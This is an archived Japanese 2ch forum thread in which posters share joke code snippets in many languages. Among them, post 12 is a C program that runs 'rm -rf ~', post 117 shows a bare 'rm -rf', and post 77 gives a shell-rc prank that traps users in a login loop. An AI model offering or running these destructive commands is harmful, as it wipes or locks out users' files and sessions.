トップページ⇒unix
149コメント36KB

ひたすら何かのソースコードを公開するスレ

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん＠お腹いっぱい。NGNG
なんか、うｐしてくれ
0002名無しさん＠お腹いっぱい。NGNG
main()
0003名無しさん＠お腹いっぱい。NGNG
{
0004名無しさん＠お腹いっぱい。NGNG
return main();
}
0005あぼーんNGNG
あぼーん
0006名無しさん＠お腹いっぱい。NGNG
};
0007名無しさん＠お腹いっぱい。NGNG
void
0008名無しさん＠お腹いっぱい。NGNG
seq void main () {
par {
new main();
new main();
}
}
0009名無しさん＠お腹いっぱい。NGNG
PROGRAM UNKO
WRITE(*,*)'うんこ'
STOP
END
0010名無しさん＠お腹いっぱい。NGNG
rtnval(int c)
{
if (c == 1) {
return 1;
} else {
return 0;
}
}

0011名無しさん＠お腹いっぱい。NGNG
/*1は死んでね*/
0012名無しさん＠お腹いっぱい。NGNG
#include <stdlib.h>
void main(void) { system( "rm -rf ~"); }
0013名無しさん＠お腹いっぱい。NGNG
<html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!--
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 ：<font color=green><b>
名無しさん＠お腹いっぱい。</b></font> ：03/07/12 17:41<dd>なんか、うｐしてくれ<br><br><dt>2 ：<
0014名無しさん＠お腹いっぱい。NGNG
>>13
4点。
0015名無しさん＠お腹いっぱい。NGNG
10 CLS :CLEAR
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT
0016名無しさん＠お腹いっぱい。NGNG
160 *A
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ﾛ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B
0017名無しさん＠お腹いっぱい。NGNG
350 *C
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
0018あぼーんNGNG
あぼーん
0019名無しさん＠お腹いっぱい。NGNG
program HaxaHaxa;
var I : Integer;
begin
　　Randomize;
　　repeat
　　　　I := Random(18) + 1;
　　　　Writeln('>>', I, 'さん(;´Д｀)ﾊｧﾊｧ');
　　until False;
end.
0020名無しさん＠お腹いっぱい。NGNG
#include <stdio.h>

int main()
{
printf("なんか、うｐしてくれ\n");
main();

return 0;
}
0021名無しさん＠お腹いっぱい。NGNG
puts "こんばんは"
0022名無しさん＠お腹いっぱい。NGNG
/*
0023名無しさん＠お腹いっぱい。NGNG
#cat HaxaHaxa.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д｀)ﾊｧﾊｧ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa
0024名無しさん＠お腹いっぱい。NGNG
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
0025名無しさん＠お腹いっぱい。NGNG
main(){return system("start http://pc.2ch.net/unix/index.html#3");}
0026名無しさん＠お腹いっぱい。NGNG
/*
　* 重複だろ。
　*
　* みんなでCのコードを1行ずつ書いていくスレ
　* http://pc.2ch.net/test/read.cgi/unix/1005032504/
　*
　*/
0027名無しさん＠お腹いっぱい。NGNG
//いやいや EXEC=C言語でなくても
//SYS001 DD *
いいんだろう。
/*
0028名無しさん＠お腹いっぱい。NGNG
カケ "オマエモナー"
0029名無しさん＠お腹いっぱい。NGNG
% んじゃ
% こんなんでも
% いいわけ？
0030名無しさん＠お腹いっぱい。NGNG
-- いいんでないかい？
0031名無しさん＠お腹いっぱい。NGNG
(* ここはこれ以降コメントで会話するスレとなりますた。 *)
0032名無しさん＠お腹いっぱい。NGNG
# >>30のコメント形式は
# なに？
# はじめてみた。
0033名無しさん＠お腹いっぱい。NGNG
-- vhdl
0034名無しさん＠お腹いっぱい。NGNG
; >>32
; psじゃないのか？
0035名無しさん＠お腹いっぱい。NGNG
( ps は % だろ? )
0036名無しさん＠お腹いっぱい。NGNG
-- lingo も
-- この形式でつ
0037名無しさん＠お腹いっぱい。NGNG
<!-- http://infoserv.ics.es.osaka-u.ac.jp/public/netnews-archive/FJ.ARCHIVES/fj.archives.documents/comments-in-computer-languages -->
0038名無しさん＠お腹いっぱい。NGNG
# うっかりコメントからはみ出したら
# どうなりますか？
0039名無しさん＠お腹いっぱい。NGNG
' >>37
' あは、既にあるのか。
0040名無しさん＠お腹いっぱい。NGNG
" (´-`).｡ｏＯ(うっかりって...) "
0041名無しさん＠お腹いっぱい。NGNG
$$ そりゃコメントからはみ出れば
$$ コンパイルエラーになる罠
0042名無しさん＠お腹いっぱい。NGNG
＃いんcるで　＜stぢお.h＞

いんt　まいn（）
{
pりんtf（"＞＞１死ねよ"）
}
0043名無しさん＠お腹いっぱい。NGNG
>>42
なんか、カンドーしたっす。
0044名無しさん＠お腹いっぱい。NGNG
{ >>45 どうよ？ }
0045名無しさん＠お腹いっぱい。NGNG
begin
　　なんともねーよ
end
0046名無しさん＠お腹いっぱい。NGNG
static void
create_init(const void *udata __unused)
{
int error;
int s;

s = splhigh();
error = fork1(&proc0, RFFDG | RFPROC, &initproc);
if (error)
panic("cannot fork init: %d\n", error);
initproc->p_flag |= P_INMEM | P_SYSTEM;
cpu_set_fork_handler(initproc, start_init, NULL);
remrunqueue(initproc);
splx(s);
}
0047名無しさん＠お腹いっぱい。NGNG
ここまでだれもhello world 書かないッつーのも不自然だな。
project: (('Hello'))

class 'Hello' specializing 'Console':
[
goal:-
writeln("Hello World!").
]
0048名無しさん＠お腹いっぱい。NGNG
/*（・∀・）
/*
0049名無しさん＠お腹いっぱい。NGNG
>>47
それは何？

ついでだ、漏れも
Pervasives.print_string "Hello World!\n";;
0050名無しさん＠お腹いっぱい。NGNG
いろいろな言語でHello world スレは、どこかにあったような...
0051名無しさん＠お腹いっぱい。NGNG
Linux板だよ。

 いろんな言語で「Hello World」だ。ゴラァ
 http://pc.2ch.net/test/read.cgi/linux/986981055/
0052名無しさん＠お腹いっぱい。NGNG
向こうのスレのこれ笑った
http://pc.2ch.net/test/read.cgi/linux/986981055/22
0053名無しさん＠お腹いっぱい。NGNG
# Hello World
#
# Hell Word ?
0054名無しさん＠お腹いっぱい。NGNG
メインとは
　　　　「こんにちは。」を　表示して　改行すること。
0055名無しさん＠お腹いっぱい。NGNG
: プログラムは日本語なのにそれ自体の名前が何故か英語っぽいMINDか....
0056名無しさん＠お腹いっぱい。NGNG
C SOUIEBA BETSUNI SENTOU GA C DE NAKUTEMO IINDAYONA.
C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO
C OBOETEIRU YOUDA.
0057名無しさん＠お腹いっぱい。NGNG
<html> </html>
0058名無しさん＠お腹いっぱい。NGNG
rem そういえばこんなのもあったなぁ
0059名無しさん＠お腹いっぱい。NGNG
スレタイが「ソース "コード"」なので、
「オリバーソース」だの「おたふくソース」だのといった
お決まりのギャグが使えない罠。
0060itoa()NGNG
,[>+<-]-[>[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>
[-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]
0061名無しさん＠お腹いっぱい。NGNG
>>59

オリバーソースだのおたふくソースだの言おうとしたのか？（藁）
0062名無しさん＠お腹いっぱい。NGNG
伝説の「詰めC言語」再びかと思ったよ。

0063名無しさん＠お腹いっぱい。NGNG
BASIC 1行プログラムのほうが好きだな
0064名無しさん＠お腹いっぱい。NGNG
#!/bin/dqn
WTO "hello?"
END
0065名無しさん＠お腹いっぱい。NGNG
main;
()!*.*
}
0066名無しさん＠お腹いっぱい。NGNG
>>61
とっておきのギャグなんだが、
どうしてもと言うなら譲ってあげてもいいよ
0067あぼーんNGNG
あぼーん
0068名無しさん＠お腹いっぱい。NGNG
<tr>
age<br><br>
</tr>
0069名無しさん＠お腹いっぱい。NGNG
>>64
日○情報のQ言語？
つーか日○関係者だろ！(w
0070名無しさん＠お腹いっぱい。NGNG
世界最小のソース
awk '1' filename

0071名無しさん＠お腹いっぱい。NGNG
sed '' filename
0072名無しさん＠お腹いっぱい。NGNG
>>71
ほんとや(o●o);

0073名無しさん＠ＥｍａｃｓNGNG
"こう見えても、Smalltalkのコメントなわけだが。".
0074名無しさん＠ＥｍａｃｓNGNG

"ごめ。あげちった。".
0075名無しさん＠お腹いっぱい。NGNG
>>73
40で既出
0076名無しさん＠お腹いっぱい。NGNG
localhost [~]$ cat /usr/bin/uma.sh
#!/bin/sh
/usr/bin/uma.sh
localhost [~]$
0077名無しさん＠お腹いっぱい。NGNG
(~/.bashrcの末尾に追加)
csh

(~/.cshrcの末尾に追加)
bash

さぁ!Let's Logout!!
0078名無しさん＠お腹いっぱい。NGNG
>>77
よく元性善説鯖にお見えになる人？
0079_NGNG
10 REM ****************************************
20 REM * 住民基本台帳ネットワークシステム *
30 REM * *
40 REM * Version 1.0.0 *
50 REM ****************************************
60 GOTO 10
0080名無しさん＠お腹いっぱい。NGNG
#dqn
0081むにゅうNGNG
class TabDialog : public QTabDialog
{
Q_OBJECT

public:
TabDialog();
TabDialog(loginSlot *data);
void setLoginData(loginSlot *data);

public slots:
void cancelClicked();

protected:
QString filename;
QFileInfo fileinfo;

void setupTab1();
void setupTab2();
void setupTab3();

private:
loginSlot loginData;

};
0082ａｌｏчNGNG
　　　　　　　　　　　　　　　　　　　　　　{
　　　　　　　　　　　　　　 ;0 uJnfaJ
　　　　　 ;(,,i plJoM ollaH,,)tfu!Jd
　　　　　　　　　　　　　　　　　　　　　　}
　　　　　　　　　　　　　　　　　()u!ew fu!
　　　　　　　　　　,,ч'o!pfs,, apnl⊃u!#
0083名無しさん＠お腹いっぱい。NGNG
文字化けかと思った
0084名無しさん＠お腹いっぱい。NGNG
文字化けじゃなかったのか！！！！！！！！！
0085名無しさん＠お腹いっぱい。NGNG
#include <stdio.h>

main()
{
for(;;){
puts(">>1 カエレ");
}
}
0086名無しさん＠お腹いっぱい。NGNG
>>85はgettext位使えるようになれ。
0087名無しさん＠お腹いっぱい。NGNG
煽りも国際化を考慮しなきゃならないとは（ｗ
0088名無しさん＠お腹いっぱい。NGNG
gettextを使えるようになってもpoファイルは日本語のくらいしか作れない罠
0089名無しさん＠お腹いっぱい。NGNG
このくらいはほしいよね。

ja
ja_2CH
ja_KANSAI
ja_TOUHOKU
0090名無しさん＠お腹いっぱい。NGNG
tcshのゴミportsじゃないんだから(苦笑
0091名無しさん＠お腹いっぱい。NGNG
sub 2ch
print "糞スレたてた>>1さん";
0092あぼーんNGNG
あぼーん
0093名無しさん＠お腹いっぱい。NGNG
>>15-17
もしかして、ポケコンPC-E500用のソース？
0094名無しさん＠お腹いっぱい。NGNG
E500にSWITCH文はなかったと思われ
(後継機種にはあったような気はするが)
0095名無しさん＠お腹いっぱい。NGNG
ってことはPC-E650かな？
0096名無しさん＠お腹いっぱい。NGNG
ひたすら何かのソースコード
0097名無しさん＠お腹いっぱい。NGNG
ひたすら「伺か」のソースコード？？？
0098名無しさん＠お腹いっぱい。NGNG
2ch DQN房();
0099名無しさん＠お腹いっぱい。NGNG
女の子がデスクトップに常駐するやつだっけ
0100名無しさん＠お腹いっぱい。NGNG
#100 GET ズザー
0101あぼーんNGNG
あぼーん
0102あぼーんNGNG
あぼーん
0103あぼーんNGNG
あぼーん
0104名無しさん＠お腹いっぱい。NGNG
" ageるときっちり貼られるな。
" 完全にスクリプト化されてるのか…
0105BrainFuckでもこんにちは世界NGNG
>>60
>+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.[-]>++++++++[<++
++>-]<.>+++++++++++[<+++++>-]<.>++++++++[<+++>-]<.+++.------.--------.[-]>
++++++++[<++++>-]<+.[-]++++++++++.
0106名無しさん＠お腹いっぱい。NGNG
>>104
じゃあageてみる（藁
0107名無しさん＠お腹しっぱい。NGNG
/*-
* hello.c - the first C programme.
*
*@(#)hello.c1.1 (Berkeley) 01/01/70
*/

#include <stdio.h>

/*ARGSUSED*/
int
main (argc, argv)
int argc;
char **argv;
{
(void) printf("Hello, world!\n");

return 0;
}
0108名無しさん＠お腹いっぱい。NGNG
#!/usr/bin/sh
NUM=1
do
print "Hello, world! \>\>%d\n" ${NUM}
NUM=`expr ${NUM} + 1`
done
0109名無しさん＠お腹いっぱい。NGNG
sh: line 3: syntax error near unexpected token `do'
sh: line 3: `do'
0110名無しさん＠お腹いっぱい。NGNG
>>1->>109 > /dev/null
0111あぼーんNGNG
あぼーん
0112名無しさん＠お腹いっぱい。NGNG
System.out << "1-111>> \u3358";
0113名無しさん＠お腹いっぱい。NGNG
rm -f >>110
0114名無しさん＠お腹いっぱい。NGNG
kill -KILL >>112
0115あぼーんNGNG
あぼーん
0116名無しさん＠お腹いっぱい。NGNG
まざーぐーす
0117名無しさん＠お腹いっぱい。NGNG
[user@localhost user]& rm -rf
0118名無しさん＠お腹いっぱい。NGNG
$ diff -c if_bge.c if_bge.c.org
*** if_bge.c Sat Nov 29 15:01:10 2003
--- if_bge.c.org Sat Nov 29 14:28:40 2003
***************
*** 164,171 ****
"SysKonnect Gigabit Ethernet" },
{ ALTIMA_VENDORID, ALTIMA_DEVICE_AC1000,
"Altima AC1000 Gigabit Ethernet" },
- { ALTIMA_VENDORID, ALTIMA_DEVICE_AC1001,
- "Altima AC1001 KUROUTO-SIKOU Gigabit Ethernet" },
{ ALTIMA_VENDORID, ALTIMA_DEVICE_AC9100,
"Altima AC9100 Gigabit Ethernet" },
{ 0, 0, NULL }
--- 164,169 ----

akoba@balthasar$ diff -c if_bgereg.h if_bgereg.h.org
*** if_bgereg.h Sat Nov 29 14:59:58 2003
--- if_bgereg.h.org Sat Nov 29 14:29:03 2003
***************
*** 1846,1852 ****
*/
#define ALTIMA_VENDORID 0x173b
#define ALTIMA_DEVICE_AC1000 0x03e8
- #define ALTIMA_DEVICE_AC1001 0x03e9
#define ALTIMA_DEVICE_AC9100 0x03ea

/*
--- 1846,1851 ----
0119名無しさん＠お腹いっぱい。NGNG
なんかls -dの使い方が分かんないんだよね

#!/usr/bin/ruby
require 'stringio'

dirs = StringIO.new
Dir.foreach(Dir.pwd) do |ech|
dirs.puts(ech) if test(?d, ech) && /\A\.\.?\z/ !~ ech
end
IO.popen('column', 'w'){|output| output.print(dirs.string)}
0120名無しさん＠お腹いっぱい。NGNG
RETURN 4 [FD 200 LT90]
0121名無しさん＠お腹いっぱい。NGNG
END
0122名無しさん＠お腹いっぱい。NGNG
display dialog "エラーが発生しました。そんなことよりさいたま！"
0123名無しさん＠お腹いっぱい。NGNG
instr 1
a1 oscil 8000,p5,1
outa1
endin
0124名無しさん＠お腹いっぱい。NGNG
聞いて下さい！ねらーを過剰に煽っていた電波野郎が
こともあろうか、自分のサイトのＴＯＰページに罠をしかけて
閲覧者のブラウザを壊す？暴挙を行っているのです。

こちらは、荒しもせず見ているだけなのに。（コンテンツ自体無いので荒せないのですが）
識者の方、罠の分析と解除方法、本人への制裁処置を教えて下さい！

生ＩＰで閲覧した被害者は、爆弾の直撃喰らってどのサイトもつなげなくなるそうです。
これは、「電子計算機機能妨害罪」でれっきとした犯罪行為だと思います。
とりあえず、どのサイトにもつなげなくなってしまった可哀相なねらー達を救って下さい！
人によっては、毎回初回はアクセスエラーになって二度目のリロードで見られるという方もいる模様です。

技術スキルの高い方、法的な知識をお持ちの方の意見をお願いします。

◆↓自慢の公式サイト(串必須、生ＩＰでの閲覧は危険！）
http://kitaq.web-zz.com/
0125名無しさん＠お腹いっぱい。NGNG
#!/usr/bin/perl

サンフランシスコ（ロイター）――ソフトウェア企業の米オラクルは1月12日、
ライバル企業である米ピープルソフトとの戦いを継続し、投資からの支持を強
化するために、Jeff Henley氏を会長として指名した。現会長兼CEOの
Larry Ellison氏はCEOの職を続投する。

Henley氏は、同社で13年間にわたりCFO（Chief Financial Officer）を務めて
きた人物だ。

ソース：
- Oracle names Jeff Henley chairman（CNN／Reuters）
htt://money.cnn.com/2004/01/12/technology/oracle.reut/index.htm

news+からコピペしてきたし
exit;
0126名無しさん＠お腹いっぱい。NGNG
use strict;
0127名無しさん＠お腹いっぱい。NGNG
000000*　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　EXEC-SQL　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　SELECT　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　GCD,　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　SCD,　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　UNUM,　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　NAMEK　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　JUSHOK,　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　KATAK　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　FROM　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　FU_ATENA_TBL　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　WHERE　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000　　　　　GCD　　 =　 :ATENA-REC.GCD　　　AND　　　　　　　　　　　　　　
000000　　　　　SCD　　 =　 :ATENA-REC.SCD　　　　　　　　　　　　　　　　　　　
000000　END-EXEC.　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
000000*　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
0128名無しさん＠お腹いっぱい。NGNG
my $data = <<__DATA__;
0129名無しさん＠お腹いっぱい。NGNG
#include "/dev/tty"
0130名無しさん＠お腹いっぱい。NGNG
>>128

my $data = <<__orz__;

に見えた
0131knkNGNG
i=i++;
0132名無しさん＠お腹いっぱい。05/03/01 14:11:39
i.incremental_add(1)
0133名無しさん＠お腹いっぱい。05/03/15 00:41:32
@s = %w(
http://www.bulldog.co.jp/ ブルドックソース株式会社 東京都
http://www.kagome.co.jp/ カゴメ株式会社 愛知県
http://www.otafuku.co.jp/ オタフクソース株式会社 広島県
http://www.ikari-s.co.jp/ イカリソース株式会社 大阪府
http://www.kikkoman.co.jp/ キッコーマン株式会社 千葉県
http://www.oliversauce.com/オリバーソース株式会社 兵庫県
http://www.sky-net.or.jp/toshi/ カープソース 広島県
http://www.maruki-su.com/ 株式会社　川上酢店 愛知県
http://www.kozima.co.jp/ 小島食品製造株式会社　愛知県
http://www.komi.co.jp/ コーミ株式会社 愛知県
http://www.sankyohikari.co.jp/ サンキョーヒカリ 愛知県
http://www.junmaru.co.jp/ 株式会社　純正食品マルシマ 広島県
http://www.papaya-sauce.co.jp/ パパヤソース本舗 大洋産業株式会社 京都府
http://www.takahashisauce.com/ 高橋ソース株式会社 埼玉県
)
0134名無しさん＠お腹いっぱい。05/03/15 09:46:50
#広島と愛知が多いな
0135名無しさん＠お腹いっぱい。2005/03/29(火) 20:59:17

理由があります
0136名無しさん＠お腹いっぱい。2005/04/20(水) 08:35:41

オタフクが首位に…ユニオン買収でブルドッグ抜く

http://www.zakzak.co.jp/top/2005_04/t2005041915.html
0137名無しさん＠お腹いっぱい。2005/04/23(土) 13:19:09
program sample(output);
begin
writeln("abcde")
end.
0138名無しさん＠お腹いっぱい。2005/11/21(月) 21:34:11
10 REM　既出のような気もする
100 REM　*N88-BAASIC(86)
110 REM　Hello World 表示プログラム Ver1.00
120 REM　
130 PRINT "Helio World"
140 goto 130
150 REM 我ながらつまらんソースですね．ごめんなさい．
0139名無しさん＠お腹いっぱい。2005/11/21(月) 21:36:11
　げ・・・・BASICがBAASICになってるし・・・・．
　マウスのコードで吊ってきます．
0140名無しさん＠お腹いっぱい。2005/12/18(日) 05:09:03
continue
0141お願いします2006/11/07(火) 12:55:23
c言語で入力された英文から単語を抜き出して表示するソースを持っておられる方は載せてください!
0142名無しさん＠お腹いっぱい。2006/11/07(火) 13:12:26
grep -v [!"#$%&'()]
0143半人前2009/03/08(日) 22:23:56
基本載せま〜す
#include <stdio.h>
main()
{
printf("hello.world");
}

0144名無しさん＠お腹いっぱい。2009/04/13(月) 22:04:13
初めて書いたC言語
#include <stdio.h>
#include <math.h>
#define HZ 60.0
#define MICRO_SECOND 1000000.0
#define COUNT_NUM 1000.0
#define DC_VOLT 100.0
main()
{
printf("%fHz\n",HZ);
printf("%fDC_Volt\n",DC_VOLT);
double d;
d=DC_VOLT*sqrt(2);
printf("%fAC_Max_Volt\n",d);
printf("%fCount\n",COUNT_NUM);
double a,b;
a=1.0/(4.0*HZ);
printf("MAX_TIME=%fu/sec\n",a*MICRO_SECOND);
b=a/COUNT_NUM;
printf("REAL_TIME=%fu/sec\n",b*MICRO_SECOND);
double i;
double x,y,z;
z=b;
for(i=0; i<a; i=i+b){
y=sin(2.0*M_PI*HZ*z);
x=d*y;
printf("time=%f sin=%f volt=%f\n", z,y,x);
z=z+b;
}
}
0145名無しさん＠お腹いっぱい。2009/08/21(金) 21:54:59
{
"俺も"+ANY("何か", "伺か")+"だと思って開いちまったよ"
}
0146名無しさん＠お腹いっぱい。2009/09/13(日) 08:58:41
やめろ、美人がテメエの「お○んこ」の写真を公開するようなことは。

本人は、どうだ欲しいだろとか自己満足してるのかも知れんが。
アホか、やめろゲテモノ出すのは。
0147名無しさん＠お腹いっぱい。2009/09/16(水) 11:19:39
#!/bin/sh
exit
0148名無しさん＠お腹いっぱい。2010/04/22(木) 12:28:21
hoge.com
0149名無しさん＠お腹いっぱい。2010/12/31(金) 16:51:13
無料RPG製作ツール「ロープレジェネレーター」
http://sekisekki.net/index.htm

直感的操作で簡単なゲームが作れます。 簡単に配布可能な状態に出力することができます。
(HSP製のソースコード付きで、スクリプトの知識があれば自由度の非常に高いカスタマイズ
ができます）
他にも仲間預かり機能（100人も）や、仲間の状態/状態異常を細かく設定できたり、
乗り物が作れたり、ゲーム中に画像を差し込んだり、回転やフラッシュなどのエフェクト
なんかも簡単に作れる様です。
移動は矢印キーの他に、キャラがマウスを追っかけたりするとのこと。
戦闘はデフォだとドラクエ系。
他にはオートアクションというのがあってオリジナルシステムの製作に役に立つかも
しれない機能です。これは、マップエディタで設定することで、「マップに入った時・
出た時・一歩歩いた時・戦闘開始前」に自動的に実行されるアクションを設定できる
機能です。
■他にもいろいろ進化中。要望は掲示板へどうぞ。

どんなゲームが作れるかはこれを見れくれ。HSPのカスタマイズはしてないとの事。
「眠られぬ獅子〜序章〜」
http://www.freem.ne.jp/game/win/g02773.html
■ このスレッドは過去ログ倉庫に格納されています